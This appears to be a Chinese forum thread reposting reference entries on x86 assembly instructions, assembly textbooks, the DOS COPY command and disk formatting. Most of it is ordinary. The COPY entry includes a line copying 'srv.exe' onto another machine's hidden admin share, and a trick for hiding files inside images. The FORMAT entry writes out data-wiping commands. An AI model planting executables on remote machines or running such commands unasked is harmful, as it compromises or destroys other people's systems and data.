该指令不执行任何操作,其机器码占有一个字节,在调试程序时往往用这条指令占有一定的存储单元,以便在正式运行时用其他指令取代。
.WAIT等待指令
该指令使处理机处于空转状态,它也可以用来等待外部中断的发生,但中断结束后仍返回WAIT指令继续执行。
.ESC换码指令
格式ESCmem
其中mem指出一个存储单元,ESC指令把该存储单元的内容送到数据总线去。当然ESC指令不允许使用立即数和寄存器寻址方式。这条指令在使用协处理机(Coprocessor)执行某些操作时,可从存储器指得指令或操作数。协处理机(如8087)则是为了提高速度而可以选配的硬件。
.LOCK封锁指令
该指令是一种前缀,它可与其他指令联合,用来维持总线的锁存信号直到与其联合的指令执行完为止。当CPU与其他处理机协同工作时,该指令可避免破坏有用信息。
十进制调整指令
当计算机进行计算时,必须先把十进制数转换为二进制数,再进行二进制数运算,最后将结果又转换为十进制数输出。
在计算机中,可用4位二进制数表示一位十进制数,这种代码称为BCD(BinaryCodedDecimal).
BCD码又称8421码,在PC机中,BCD码可用压缩的BCD码和非压缩的BCD码两种格式表示。
压缩的BCD码用4位二进制数表示一个十制数,整个十进数形式为一个顺序的以4位为一组的数串。
非压缩的BCD码以8位为一组表示一个十进制数,8位中的低4位表示8421的BCD码,而高4位则没有意义。
指令 英文全拼 翻译
DAA DecimalAdjustforAddition 加法的十进制调整指令
DAS DecimalAdjustforSubtraction 减法的十进制调整指令
AAA ASCIIAdjustforAddition 加法的ASCII调整指令
AAS ASCIIAdjustforSubtraction 减法的ASCII调整指令
DAA(DecimalAdjustforAddition)加法的十进制调整指令
格式:DAA
执行操作:执行之前必须先执行ADD或ADC指令,加法指令必须把两个压缩的BCD码相加,并把结果存话在AL寄存器中。
DAS(DecimalAdjustforSubtraction)减法的十进制调整指令
格式:DAS
执行操作:执行之前必须先执行SUB或SBB指令,减法指令必须把两个压缩的BCD码相减,并氢结果存放在AL寄存器中。
非压缩的BCD码调整指令
AAA(ASCIIAdjustforAddition)加法的ASCII调整指令
格式:AAA
执行操作:执行之前必须先执行ADD或ADC指令,加法指令必须把两个非压缩的BCD码相加,并把结果存话在AL寄存器中。
AAS(ASCIIAdjustforSubtraction)减法的ASCII调整指令
格式:AAS
执行操作:执行之前必须先执行SUB或SBB指令,减法指令必须把两个非压缩的BCD码相减,并氢结果存放在AL寄存器中。
执行操作:=,将位于DS段的由SI所指出的存储单元的字节或字传送到位于ES段的由DI所指出的存储单元,再修改SI和DI,从而指向下一个元素。
在执行该指令之前,必须预置SI和DI的初值,用STD或CLD设置DF值。
格式:MOVSDST,SRC//同上,不常用,DST和SRC只是用来用类型检查,并不允许使用其它寻址方式来确定操作数。
1.目的串必须在附加段中,即必须是ES:
2.源串允许使用段跨越前缀来修饰,但偏移地址必须是.
6 相关教材 编辑
《80x86汇编语言基础教程》
基本信息
教材名称:《80X86汇编语言基础教程》
ISBN编号:9787111253822
出版时间:2009-3-1
出版社:机械工业出版社
页数:213
版次印次:1
作者:(美)德特默(Detmer,R.C.)著,郑红,陈丽琼译
开本:16开
装帧:平装
印数:1
内容简介
学会一门具体的汇编语言对理解计算机体系结构是非常有益的,然而,许多关于计算机组成和体系结构的教材对这方面的知识介绍得不多。《80x86汇编语言基础教程(附光盘)》主要针对Intel80x86体系结构介绍汇编语言知识,因此既是计算机组成和体系结构课程的很好的补充教材,同时也适合作为单独的汇编语言课程教材。通过《80x86汇编语言基础教程(附光盘)》的学习,学生能够使用微软的MASM汇编器来编译32位的平面存储模式程序,并在微软的Windbg调试器控制下跟踪程序指令的执行,从中了解计算机内部存储器和寄存器内容的变化。《80x86汇编语言基础教程(附光盘)》附带的软件包为编写和调试控制台应用程序提供了很好的环境。
目录
出版者的话
前言
第1章计算机中数的表示
第2章软件工具和汇编语言语法
第3章基本指令
第4章分支与循环
第5章过程
第6章位运算
第7章浮点运算
附录A十六进制/ASC码转换
附录B有用的MS-DOS命令
附录CMASM6.11保留字
附录D80x86指令(按助记符排列)
附录E80x86指令(按操作码排列)
《汇编语言》
基本信息
教材名称:《汇编语言》(第2版)
ISBN编号:9787302172284
出版时间:2008-4-1
出版社:清华大学出版社
页数:337
版次印次:2
作者:王爽著
开本:16开
装帧:平装
印数:1
字数:527000
内容简介
汇编语言是各种CPU提供的机器指令的助记符的集合,人们可以用汇编语言直接控制硬件系统进行工作。汇编语言是很多相关课程(如数据结构、操作系统、微机原理等)的重要基础。为了更好地引导、帮助读者学习汇编语言,作者以循序渐进的思想精心创作了这本书。本书具有如下特点:采用了全新的结构对课程的内容进行组织,对知识进行最小化分割,为读者构造了循序渐进的学习线索;在深入本质的层面上对汇编语言进行讲解;对关键环节进行深入的剖析。
本书可用作大学计算机专业本科生的汇编教材及希望深入学习计算机科学的读者的自学教材。
目录
第1章基础知识
第2章寄存器
第3章寄存器(内存访问)
第4章第一个程序
第5章和loop指令
第6章包含多个段的程序
第7章更灵活的定位内存地址的方法
第8章数据处理的两个基本问题
第9章转移指令的原理
第10章CALL和RET指令
第11章标志寄存器
第12章内中断
第13章int指令
第14章端口
第15章外中断
第16章直接定址表
第17章使用BIOS进行键盘输入和磁盘读写
综合研究
附注
《新版汇编语言程序设计》
基本信息
教材名称:《新版汇编语言程序设计》
ISBN编号:9787121026966
出版时间:2007-01-01
出版社:电子工业出版社
作者:钱晓捷主编
装帧:平装
字数:563200
内容简介
本书以Intel80x86指令系统和MASM6.x为主体,全面而系统地介绍16/32位整数、浮点、多媒体指令的汇编语言程序设计方法。全书可分为基础和提高两部分。前5章作为基础部分,以当前“汇编语言程序设计”课程的教学为目标,为读者讲解16位基本整数指令及其汇编语言程序设计的知识。基础部分的主要内容是:汇编语言程序设计的基础知识,8086指令详解,MASM伪指令和操作符,程序格式,程序结构及其设计方法。后4章为提高部分,从不同的方面介绍汇编语言程序设计的深入内容和实际应用知识。提高部分各章的内容相对独立,主要有:32位80x86CPU的整数指令系统及其编程,汇编语言与C/C++的混合编程,80x87FPU的浮点指令系统及其编程,多媒体扩展指令系统及其编程,64位指令简介。本书可作为高等院校《汇编语言程序设计》课程的教材或参考书,主要读者为计算机及相关学科的本科和高职、高专学生。本书内容广博、语言浅显、结构清晰、实例丰富,也适合于电子、自动控制等专业的高校学生和成教学生,计算机应用开发人员,深入学习微机应用技术的普通读者等。
目录
第1章汇编语言基础知识
第2章8086的指令系统
第3章汇编语言程序格式
第4章基本汇编语言程序设计
第5章高级汇编语言程序设计
第6章32位指令及其编程
第7章汇编语言与C/C++的混合编程
第8章80x87浮点指令及其编程
第9章多媒体指令及其编程
第10章64位指令简介
附录A调试程序CodeView
附录B汇编程序MASM的伪指令和操作符
附录C80x86整数指令系统
附录D输入输出子程序库IO.LIB
参考文献
《汇编语言程序设计》
基本信息
产品名称:《汇编语言程序设计》
ISBN编号:9787111272601
出版时间:2009-10-1
出版社:机械工业出版社
页数:340
版次印次:1
作者:何超主编
开本:16开
装帧:平装
印数:1
字数:544000
内容简介
本书共8章,主要讨论汇编语言的编程基础、程序开发过程和调试方法。
本书的主要特点是通俗易懂,遵循由浅入深、由简到繁、循序渐进的原则。力争改变汇编语言难学难教的状况。与本书配套的《汇编语言程序设计实验与习题解答》一书另行出版,该书包含详尽的汇编语言程序设计实验和本书所有习题的解答。本书既可作为高等院校信息类(如计算机、自动控制、电工电子等)专业的本科教材,也可作为工程技术人员的参考书。
目录
出版说明
前言
第1章汇编语言的基本概念
第2章汇编语言程序中的指令与伪指令
第3章汇编语言程序设计初步
第4章子程序设计
第5章汇编语言程序的应用示例
第6章输入输出和中断处理
第7章宏和多模块程序设计
第8章汇编语言程序开发与调试
附录
参考文献
参考资料:
1.
汇编
http://liyanblog.cn/articles/2012/09/19/1348046135898.html
2.
汇编
http://liyanblog.cn/articles/2012/09/19/1348046135898.html
3.
汇编
http://liyanblog.cn/articles/2012/09/19/1348046135898.html
|

1<词>,2,3/段\,4{节},5(章)。 |
|
2016-2-5 21:08 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 7 楼』:
6DOS命令copy百度 7楼
使用 LLM 解释/回答一下
copy
编辑词条
该词条缺少词条分类,补充相关内容帮助词条更加完善!立刻编辑>>
Copy,通常音译为"拷贝",意译为"复制",是DOS下最常用的拷贝命令。DOS下面用一条COPY命令同时复制几个文件的命令。一个很容易见名知意的命令,它的作用是复制文件,用法十分简单:copy源文件、目的路径。
中文名称 拷贝
dos 拷贝 命令
外文名 copy
外文名称 copy
作 用 复制文件
中文名 拷贝
目
录
1基本简介
2用法命令
3例举说明
4命令加密
加密条件
加密工作
5补充内容
6其他意思
1 基本简介 编辑
copy是一个很基础的DOS命令,也许在如今已经很少有人使用,但作为一个非常重要的基础命令,仍然需要掌握。上面关于copy命令的介绍纯属于windows下的简介,既然在cmd中输入copy /?就可以得到,那上面的这些又有什么真正的作用呢?对于这种比较专业的命令,还是多举举例子比较好让新手理解。
2 用法命令 编辑
COPY source 。
] ]source 指定要复制的文件。
/A 表示一个 ASCII 文本文件。
/B 表示一个二进位文件。/D 允许解密要创建的目标文件。
destination 为新文件指定目录和/或文件名。
/V 验证新文件写入是否正确。
/N 复制带有非 8dot3 名称的文件时,尽可能使用短文件名。
/Y 不使用确认是否要覆盖现有目标文件的提示。
/-Y 使用确认是否要覆盖现有目标文件的提示。
/Z 用可重新启动模式复制已联网的文件。命令行开关 /Y 可以在 COPYCMD环境变量中预先设定。这可能会被命令行上的 /-Y 替代。除非 COPY命令是在一个批处理脚本中执行的,默认值应为在覆盖时进行提示。要附加文件,请为目标指定一个文件,为源指定数个文件(用通配符或 file1+file2+file3 格式)。
首先,在我的电脑D盘建立一个文件,例如1.txt,最好在其中写入一些数据。另一台互联的机器,机器名为test,上面有一个共享文件夹tool,当然要开通用户在test和共享文件夹上的权限。
注意:
1.一台机器内,一个磁盘内的文件复制:命令copy D:\1.txt D:\2.txt 注意后面的2.txt不能省略,省略默认为建立一个原来相同文件名的文件,所以不能实现。
2.一台机器内,不同磁盘间的文件复制:命令copy D:\1.txt E: 这样就会在E盘看到拷贝的1.txt了 。
3.不同机器间的文件复制:相当于上传与下载。
上传命令copy D:\1.txt\\test\D$这样就可以在test机器的D盘看到1.txt了。
也可以输入:copy D:\1.txt\\test\tool这样在共享文件夹tool中也可以看到1.txt了。
下载命令,需要先在test上的D盘建立文件2.txt ,再在tool里建立一个3.txt。
输入copy\\test\D$\2.txt D:\ 即可将test上D盘的2.txt下载到本地D盘。
输入copy\\test\tool\3.txt D: 即可将tool文件夹下的3.txt下载到本地D盘。
注:这里的D:\ 和 D: 在后面不跟子目录时作用是一样的。
3 例举说明 编辑
例子1:要将文件Memo.doc复制到当前目录中的Letter.doc。
执行以下命令:
copy memo.doc letter.doc
例子2:要将文件Memo.doc从当前驱动器的当前目录复制到位于驱动器C上的现有目录System中。
执行以下命令:
copy Memo.doc c:\system
如果System目录不存在,Memo.doc文件将被复制到驱动器C的磁盘根目录下名为System的文件中。
例子3:要将位于当前驱动器的当前目录中的Mar89.zip、Apr89.zip以及May89.zip合并,并将它们放在当前驱动器的当前目录下名为Report的文件中。
执行以下命令:
copy mar89.zip + apr89.zip + may89.zip report
例子4:要将所有的四个文件合并进Report,而且已有名为Report的文件。
执行以下命令:
copy report + mar89.rpt + apr89.rpt + may89.rpt
例子5:在当前驱动器的当前目录中,要将所有具有.txt扩展名的文件合并进名为Combin.doc的文件中。
执行以下命令:
copy *.txt combin.doc
此时,打开Combin.doc文件,你会发现,该文件已将*.txt文件的所有内容合并为一篇文档。
例子6:COPY命令将每个带有.txt扩展名的文件和它对应的.ref文件合并起来。结果是文件名相同但扩展名为.doc的文件。COPY将File1.txt与File1.ref合并形成File1.doc,然后copy将File2.txt与File2.ref合并形File2.doc,如此等等。
执行以下命令:
copy *.txt + *.ref *.doc
例子7:要合并所有具有.txt扩展名的文件,然后合并所有具有.ref扩展名的文件,并将合并结果置Combin.doc文件中.
执行以下命令:
copy *.txt + *.ref combin.doc
4 命令加密 编辑
加密条件
准备一个EXE执行文件,或者是图片的文档,和一个自已想隐藏的TXT文档(也可以隐藏ZIP,RAR文件),要求在同一目录下。
分别用hello.jpg和123.txt作讲解,保存为gif,保存后命名为sky,已经把这两个文件放到D盘的根目录下了。
加密工作
准备工作做好了进入CMD 使用CMD进入需要合并的文件的目录下(输入D:即可进入d盘根目录),文件都放到了D盘根目录下,所以只进到D盘就可以了。
进到目录下输入: copy hello.jpg/b + 123.txt/a sky.gif
复制成功了,合并后的文件命名为sky了,用看图软件打开sky.gif看上去跟原图片没有什么区别,但是记事本打开看就不同了,打开记事本,直接把sky.gif图片拖进去,出现一堆乱码,不过没关系,此时打到文档末尾(直接按Ctrl+End),看到了吧,最下面的那些内容是123.txt里的内容,这种方法是不是一种隐藏自己隐私的好方法呢。
如果隐藏的是ZIP,RAR压缩包文件,将sky.gif的后缀名更改为RAR,或ZIp,即可得到所隐藏的压缩包。
5 补充内容 编辑
copy c:\srv.exe \ip\***$ 意思 是复制srv.exe到对方IP下的***下
copy \ip\***$\srv.exe c:\ 意思是复制对方***i.exe文件至本地c:\
还有上面说的123.txt文件里面的文本开头最好空三个空格,以免头几个字符被覆盖掉,其中参数/b指定以二进制格式复制、合并文件;参数/a指定以ASCII格式复制、合并文件。这里要注意文件的顺序,二进制格式的文件应放在加号前,文本格式的文件放在加号后。
6 其他意思 编辑
在英文中
n. 1. 复制本, 副本2. 一份, 一册3. 准备排印的书面材料4. (报刊等的)稿件;(可用于报纸文章或广告的)消息,信息。
vt. & vi. 1. 复制; 抄写2. 作弊;抄袭。
vt. 1. 模仿, 仿效2. 抄写;誊写。
在无线电中
词组: copy that常表示收到的意思. 在多种FPS游戏的无线电, 二战无线电, 动作战争电影里 多次出现、使用。copy在无线通信口语中常作为平级接收,表示为收到、照做。如果作为下线对上级(如:塔台、指挥机舰、上级单位等)通信的接收则用roger that,copy与roger在此类无线通信口语中应该注意区分。
快捷方式 ctrl+c
PHP中
语法copy(source,destination)
参数
描述
source 必需,规定要复制的文件
destination 必需,规定复制文件的目的地
说明:将文件从source拷贝到destination。如果成功则返回 TRUE,否则返回 FALSE。
参考资料:
1.
Linux命令:cp (copy)复制文件或目录
http://www.kuqin.com/linux/20090820/67125.html
2.
copy资料
http://dict.hjenglish.com/w/copy
扩展阅读:
1.
cmd copy命令 文件复制
http://www.jb51.net/article/18981.htm
2.
巧用COPY命令加密文本文件
http://arch.pconline.com.cn//pcedu/teach/os/10309/220595.html
### Basic Introduction
Copy is a very basic DOS command. Although it may be rarely used nowadays, as a very important basic command, it is still necessary to master. The above introduction about the copy command is purely the introduction under Windows. Since entering "copy /?" in cmd can get it, what is the real role of the above? For such a professional command, it is better to give more examples to make it easier for beginners to understand.
### Usage Commands
COPY source .
] ]source specifies the file to be copied.
/A means an ASCII text file.
/B means a binary file. /D allows decrypting the target file to be created.
destination specifies the directory and/or file name for the new file.
/V verifies whether the new file is written correctly.
/N When copying files with non-8dot3 names, use short file names as much as possible.
/Y Does not use the prompt to confirm whether to overwrite the existing target file.
/-Y Uses the prompt to confirm whether to overwrite the existing target file.
/Z Copies networked files in restartable mode. The command line switch /Y can be preset in the COPYCMD environment variable. This may be replaced by /-Y on the command line. Unless the COPY command is executed in a batch script, the default value should be to prompt when overwriting. To append files, specify one file for the destination and several files for the source (in wildcard or file1+file2+file3 format).
First, create a file in drive D of my computer, for example, 1.txt, and it is better to write some data in it. There is another interconnected machine with the machine name test, and there is a shared folder tool on it. Of course, the permissions for the user on test and the shared folder should be enabled.
Note:
1. File copy within one machine and one disk: Command copy D:\1.txt D:\2.txt. Note that the following 2.txt cannot be omitted. Omitting it defaults to creating a file with the original same file name, so it cannot be realized.
2. File copy between different disks within one machine: Command copy D:\1.txt E: Then you will see the copied 1.txt in drive E.
3. File copy between different machines: It is equivalent to uploading and downloading.
Upload command copy D:\1.txt\\test\D$ Then you can see 1.txt in drive D of the test machine.
You can also enter: copy D:\1.txt\\test\tool Then 1.txt can also be seen in the shared folder tool.
Download command. First, create file 2.txt in drive D on test, and then create a 3.txt in tool.
Enter copy\\test\D$\2.txt D:\ Then the 2.txt in drive D on test can be downloaded to local drive D.
Enter copy\\test\tool\3.txt D: Then the 3.txt in the tool folder can be downloaded to local drive D.
Note: The role of D:\ and D: here is the same when no subdirectory is followed later.
### Example Illustrations
Example 1: To copy the file Memo.doc to Letter.doc in the current directory.
Execute the following command:
copy memo.doc letter.doc
Example 2: To copy the file Memo.doc from the current directory of the current drive to the existing directory System on drive C.
Execute the following command:
copy Memo.doc c:\system
If the System directory does not exist, the Memo.doc file will be copied to the file named System in the root directory of drive C.
Example 3: To merge Mar89.zip, Apr89.zip, and May89.zip in the current directory of the current drive and put them in the file named Report in the current directory of the current drive.
Execute the following command:
copy mar89.zip + apr89.zip + may89.zip report
Example 4: To merge all four files into Report, and there is already a file named Report.
Execute the following command:
copy report + mar89.rpt + apr89.rpt + may89.rpt
Example 5: In the current directory of the current drive, to merge all files with the.txt extension into the file named Combin.doc.
Execute the following command:
copy *.txt combin.doc
At this time, open the Combin.doc file, and you will find that this file has merged all the contents of the *.txt files into one document.
Example 6: The COPY command merges each file with the.txt extension and its corresponding.ref file. The result is a file with the same file name but with the extension.doc. COPY merges File1.txt and File1.ref to form File1.doc, then copy merges File2.txt and File2.ref to form File2.doc, and so on.
Execute the following command:
copy *.txt + *.ref *.doc
Example 7: To merge all files with the.txt extension, then merge all files with the.ref extension, and put the merged result in the Combin.doc file.
Execute the following command:
copy *.txt + *.ref combin.doc
### Command Encryption
#### Encryption Conditions
Prepare an EXE executable file, or a document in the form of a picture, and a TXT document that you want to hide (it can also hide ZIP, RAR files). It is required to be in the same directory.
Take hello.jpg and 123.txt as explanations respectively, save them as gif, name them sky after saving, and these two files have been placed in the root directory of drive D.
#### Encryption Work
After the preparation work is done, enter CMD. Use CMD to enter the directory of the files to be merged (enter D: to enter the root directory of drive D). The files are all placed in the root directory of drive D, so just enter drive D.
Enter the following in the directory: copy hello.jpg/b + 123.txt/a sky.gif
The copy is successful, and the merged file is named sky. Open sky.gif with an image viewing software, and it looks no different from the original picture. But when opened with Notepad, it is different. Open Notepad, directly drag sky.gif into it, and a bunch of garbled codes appear. But it doesn't matter. At this time, go to the end of the document (press Ctrl+End directly), and see it. The content at the bottom is the content in 123.txt. Is this method a good way to hide your own privacy?
If the hidden is a ZIP, RAR compressed package file, change the suffix of sky.gif to RAR or ZIP, and the hidden compressed package can be obtained.
### Supplementary Content
copy c:\srv.exe \ip\***$ means to copy srv.exe to *** under the other party's IP.
copy \ip\***$\srv.exe c:\ means to copy the other party's ***i.exe file to local c:\.
Also, it is better to leave three spaces at the beginning of the text in the 123.txt file above to avoid the first few characters being overwritten. Among them, parameter /b specifies copying and merging files in binary format; parameter /a specifies copying and merging files in ASCII format. Here, attention should be paid to the order of files. The binary format file should be placed before the plus sign, and the text format file should be placed after the plus sign.
### Other Meanings
In English
n. 1. copy, duplicate 2. one copy, one volume 3. written material ready for typesetting 4. (manuscripts of newspapers, etc.); (information that can be used for newspaper articles or advertisements).
vt. & vi. 1. copy; transcribe 2. cheat; plagiarize.
vt. 1. imitate, follow 2. transcribe; copy out.
In radio
Phrase: copy that often means received. It appears and is used many times in the radio of various FPS games, the WWII radio, and action war movies. copy in wireless communication spoken language often as a flat-level reception, meaning received, do as instructed. If it is the reception of the subordinate to the superior (such as: tower, command aircraft ship, superior unit, etc.) communication, then use roger that. copy and roger should be distinguished in such wireless communication spoken language.
Shortcut key ctrl+c
In PHP
Syntax copy(source, destination)
Parameters
Description
source Required, specifies the file to be copied.
destination Required, specifies the destination of the copied file.
Description: Copy the file from source to destination. Returns TRUE if successful, otherwise returns FALSE.
Reference materials:
1. Linux command: cp (copy) copy files or directories
http://www.kuqin.com/linux/20090820/67125.html
2. copy information
http://dict.hjenglish.com/w/copy
Extended reading:
1. cmd copy command file copy
http://www.jb51.net/article/18981.htm
2. Skillfully use the COPY command to encrypt text files
http://arch.pconline.com.cn//pcedu/teach/os/10309/220595.html
|

1<词>,2,3/段\,4{节},5(章)。 |
|
2016-2-6 05:06 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 8 楼』:
使用 LLM 解释/回答一下
格式化
编辑词条
“format”一般是指“格式化(格式化)”
该词条缺少基本信息栏、词条分类,补充相关内容帮助词条更加完善!立刻编辑>>
格式化是指对磁盘或磁盘中的分区(partition)进行初始化的一种操作,这种操作通常会导致现有的磁盘或分区中所有的文件被清除。格式化通常分为低级格式化和高级格式化。如果没有特别指明,对硬盘的格式化通常是指高级格式化,而对软盘的格式化则通常同时包括这两者。
目
录
1基本介绍
2技术种类
3区别低级
4操作方法
5杀毒作用
1 基本介绍 编辑
格式化,简单说,就是把一张空白的盘划分成一个个小区域并编号,供计算机储存,读取数据。没有这个工作,计算机就不知在哪写,从哪读。
格式化这一概念原只应用于电脑硬盘,随着电子产品不断发展,很多存储器都用到了“格式化”这一名词,狭义的理解,就等于数据清零,删掉存储器内的所有数据,并将存储器恢复到初始状态。
格式化 硬盘必须先经过分区才能使用,磁盘经过分区之后,下一个步骤就是要对硬盘进行高级格式化(FORMAT)的工作,硬盘都必须格式化才能使用。
格式化是在磁盘中建立磁道和扇区,磁道和扇区建立好之后,电脑才可以使用磁盘来储存数据。
什么是格式化:这里我们用一个形象的比喻:假如硬盘是一间大的清水房,我们把它隔成三居室(分成三个区);但是我们还不能马上入住,之前还必须对每个房间进行清洁和装修,那么这里的格式化就是“清洁和装修”这一步了!另外,硬盘使用前的高级格式化还能识别硬盘磁道和扇区有无损伤,如果格式化过程畅通无阻,硬盘一般无大碍。
不妨称为格式-化,按照特定格式应用在其他词组语句中(领域应用广泛简如公式)
例:a*a/q
1*1/9
2 技术种类 编辑
简单地说,格式化就是为磁盘做初始化的工作,以便我们能够按部就班地往磁盘上记录资料。好比我们有一所大房子要用来存放书籍,我们不会搬来书往屋里地上一扔了事,而是要先在里面支起书架,标上类别,把书分门别类地放好。
我们新购买的磁盘在使用之前,要能让操作系统认得它,要先写入一些磁性的记号到磁盘上的每一扇区,便可在该操作系统下取用磁盘上的数据,这个动作就称为格式化。
低级格式化
低级格式化(Low-Level Formatting)又称低层格式化或物理格式化(Physical Format),对于部分硬盘制造厂商,它也被称为初始化(initialization)。最早,伴随着应用CHS编址方法、频率调制(FM)、改进频率调制(MFM)等编码方案的磁盘的出现,低级格式化被用于指代对磁盘进行划分柱面、磁道、扇区的操作。现今,随着软盘的逐渐退出日常应用,应用新的编址方法和接口的磁盘的出现,这个词已经失去了原本的含义,大多数的硬盘制造商将低级格式化(Low-Level Formatting)定义为创建硬盘扇区(sector)使硬盘具备存储能力的操作。现在,人们对低级格式化存在一定的误解,多数情况下,提及低级格式化,往往是指硬盘的填零操作。
对于一张标准的1.44 MB软盘,其低级格式化将在软盘上创建160个磁道(track)(每面80个),每磁道18个扇区(sector),每扇区512位位组(byte);共计1,474,560位组。需要注意的是:软盘的低级格式化通常是系统所内置支持的。通常情况下,对软盘的格式化操作即包含了低级格式化操作和高级格式化操作两个部分。
高级格式化
高级格式化又称逻辑格式化,它是指根据用户选定的文件系统(如FAT12、FAT16、FAT32、NTFS、EXT2、EXT3等),在磁盘的特定区域写入特定数据,以达到初始化磁盘或磁盘分区、清除原磁盘或磁盘分区中所有文件的一个操作。高级格式化包括对主引导记录中分区表相应区域的重写、根据用户选定的文件系统,在分区中划出一片用于存放文件分配表、目录表等用于文件管理的磁盘空间,以便用户使用该分区管理文件。
快速格式化
在对磁盘进行格式化时,我们还有一个选择是“快速格式化”。当运行常规格式化命令时,会在当前分区的文件分配表中将分区上的每一个扇区标记为空闲可用,同时系统将扫描硬盘以检查是否有坏扇区,扫描过程中会为每一个扇区打上可用标记。扫描坏扇区的工作占据了格式化磁盘分区的大部分时间。
如果选择的是快速格式化,那么将只从分区文件分配表中做删除标记,而不扫描磁盘以检查是否有坏扇区。只有在硬盘以前曾被格式化过并且在能确保硬盘没有损坏的情况下,才可以使用此选项。
3 区别低级 编辑
低级格式化就是将空白的磁盘划分出柱面和磁道,再将磁道划分为若干个扇区,每个扇区又划分出标识部分ID、间隔区GAP和数据区DATA等。可见,低级格式化是高级格式化之前的一件工作,它只能够在DOS环境来完成。而且低级格式化只能针对一块硬盘而不能支持单独的某一个分区。每块硬盘在出厂时,已由硬盘生产商进行低级格式化,因此通常使用者无需再进行低级格式化操作。其实,我们对一张软盘进行的全面格式化就是一种低级格式化。
需要指出的是,低级格式化是一种损耗性操作,其对硬盘寿命有一定的负面影响。因此,许多硬盘厂商均建议用户不到万不得已,不可“妄”使此招。当硬盘受到外部强磁体、强磁场的影响,或因长期使用,硬盘盘片上由低级格式化划分出来的扇区格式磁性记录部分丢失,从而出现大量“坏扇区”时,可以通过低级格式化来重新划分“扇区”。但是前提是硬盘的盘片没有受到物理性划伤。
高级格式化就是清除硬盘上的数据、生成引导区信息、初始化FAT表、标注逻辑坏道等。一般我们重装系统时都是高级格式化, 所以有存在病毒的可能, 因为MBR不重写, MBR病毒可以通过杀毒软件,清除。或者。在DOS下,执行 fdisk /mbr 重写MBR 以彻底清除病毒。
简单地说,高级格式化就是和操作系统有关的格式化,低级格式化就是和操作系统无关的格式化。
高级格式化主要是对硬盘的各个分区进行磁道的格式 化,在逻辑上划分磁道。对于高级格式化,不同的操作系统有不同的格式化程序、不同的格式化结果、不同的磁道划分方法。
低级格式化是物理级的格式化,主要 用于划分硬盘的磁柱面、建立扇区数和选择扇区间隔比。硬盘要先低级格式化才能高级格式化,而刚出厂的硬盘已经经过了低级格式化,无须用户再进行低级格式化了。一般,只有在十分必要的情况下,用户才需要进行低级格式化,比如说,你的硬盘坏道太多,经常导致存取数据时产生错误,甚至操作系统根本无法使 用,那么你就需要进行低级格式化了。再有如果你的硬盘上的某些和低级格式化有关的参数被病毒破坏了,如硬盘间隔系数等,那么你只有进行低级格式化重新建立 这些参数了。
很多主板的CMOS中都提供了进行低级格式化的功能,一般在HDD Low Level Format选项中,你的主板上如果有这个选项,你就可以直接使用其中的Hard Disk Low Level Format Utility进行低级格式化。也有很多主板上没有低级格式化的功能,如果是这样的话,那你最好使用该硬盘厂商提供的硬盘管理、低级格式化程序。也有一般通用的低级格式化程序,如DM(Disk Manager),PC-Tools等,如果你的硬盘是比较标准的,也可以使用这些工具进行低级格式化。
4 操作方法 编辑
一、在DOS环境下
在DOS环境下,有多种软件可以执行格式化的操作,系统通常也以外部命令的形式提供一个命令行界面的格式化软件“Format”。
Format命令的参数包括将被执行格式化的磁盘,以及一些其他次要参数,如簇的大小、文件系统的格式等。
Format命令通常的格式是:Format X:(X为所希望被执行格式化操作的盘符,如希望格式化C碟,则将X替换为C,如此类推。 加入"Q"参数可以执行快速格式化。
二、在Windows/DOS 系统下的格式化
在Windows和DOS操作系统下,都有格式化Format的程序,不过,一旦进行格式化硬盘的工作,硬盘中的数据可是会全部不见喔!所以进行这个动作前,先确定磁盘中的数据是否还有需要,如果是的话先另行备份吧。
如果用对硬盘的C:区进行格式化键入格式如下:
内可填入参数,建议大家一般不要填加参数。
直接键入format C: ,然后回车就可以了,因为对一般人来说填加参数意义不大。
FORMAT最主要、最常用的参数:
/u 对硬盘进行破坏性格式化,如果不填加此参数,硬盘根目录下将产生一个隐藏的MIRROR映像文件,如果未进行其它硬盘操作,可以用UNFORMAT 恢复原来的硬盘内容,当然最好在格式化硬盘之前,将需要备份的数据等先备份好。
格式化 /s 格式化之后将DOS系统文件复制到硬盘根目录,填加此项参数,硬盘可以启动至C: 的状态,这在DOS时代非常有用,现在已经没有什么实际意义了。
/c 格式化硬盘的同时检查硬盘扇区并修复坏扇区,这种修复并不十分可靠,还会影响格式化的速度。
/v 格式化后给硬盘加上内的卷标(名字)。
/q 快速格式化还有一些不常用的参数,就不一一介绍了。
我们仍需用WINDOWS98的启动盘,将其插入计算机的A驱动器,然后打开计算机,按1键,按回车,十几秒后屏幕将出现A: ,因为我们硬盘有3个分区,所以键入f: ,回车,屏幕变成F: (如果是2个分区就键入e: 回车,如果4个分区,就键入g: ,回车,以此类推)键入format c: 回车,出现下面提示。
WARNING , ALL DATA ON NON-REMOVABLE DISK
DRIVE C: WILL BE LOST!
Proceed with Format (Y/N)n
意思是说危险,C区数据将丢失,是否格式化?
我们按Y,回车,这时会出现一个进度数字指示,从1开始到99结束,格式化5G硬盘,如果计算机的配置高的化,2分钟左右可以结束,配置低则也可能要用5、6分钟,也许更慢些,但如果很长时间,进度数字不动的话,则硬盘有问题,需要更换或维修。
当进度数字闪过99后,出现下面的提示。
Volume label ( 11 characters , ENTER for none)?
意思是让我们给硬盘起个卷标,也就是名字,如果直接回车,则没有卷标名称。
然后会出现格式化完成后,硬盘空间的列表,会告诉我们硬盘的总容量,可用空间,系统占用空间,坏扇区占用空间,卷标,剩余空间等数据,并回到了F:/ 的状态,这说明我们已经成功的完成了格式化C分区的格式化,然后还按上面的步骤依次完成对D:区和E:区的格式化工作。
格式化:指对磁盘进行使用前的预处理以便存入数据。一般而言,新盘是必须格式化的,而使用过的旧盘也可以格式化,格式化后磁盘上全部数据将被删除。
注意:硬盘的格式化是一项非常危险的操作,建议提前备份重要数据,如果没有及时备份就格的用户可以在格式化(高级格式化)后用户可以用一些恢复软件来恢复重要数据,但是全区恢复的前提是没对格的分区写入任何内容。如果写进内容了,就可能不全部恢复了,但还是能恢复部分数据!
快速格式化
在对磁盘进行格式化时,我们还有一个选择是“快速格式化”。
当运行常规格式化命令时,会在当前分区的文件分配表中将分区上的每一个扇区标记为空闲可用,同时系统将扫描硬盘以检查是否有坏扇区,扫描过程中会为每一个扇区打上可用标记。扫描坏扇区的工作占据了格式化磁盘分区的大部分时间。
